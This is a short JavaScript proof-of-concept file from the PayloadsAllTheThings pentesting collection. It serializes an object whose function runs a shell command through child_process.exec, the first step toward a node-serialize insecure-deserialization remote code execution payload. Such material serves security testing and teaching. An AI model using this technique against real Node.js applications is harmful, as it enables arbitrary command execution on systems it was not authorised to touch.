PayloadsAllTheThings/Insecure Deserialization/Files/node-serialize.js

5 lines
228 B
JavaScript
Raw Normal View History

2022-09-23 09:21:29 +00:00
var y = {
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));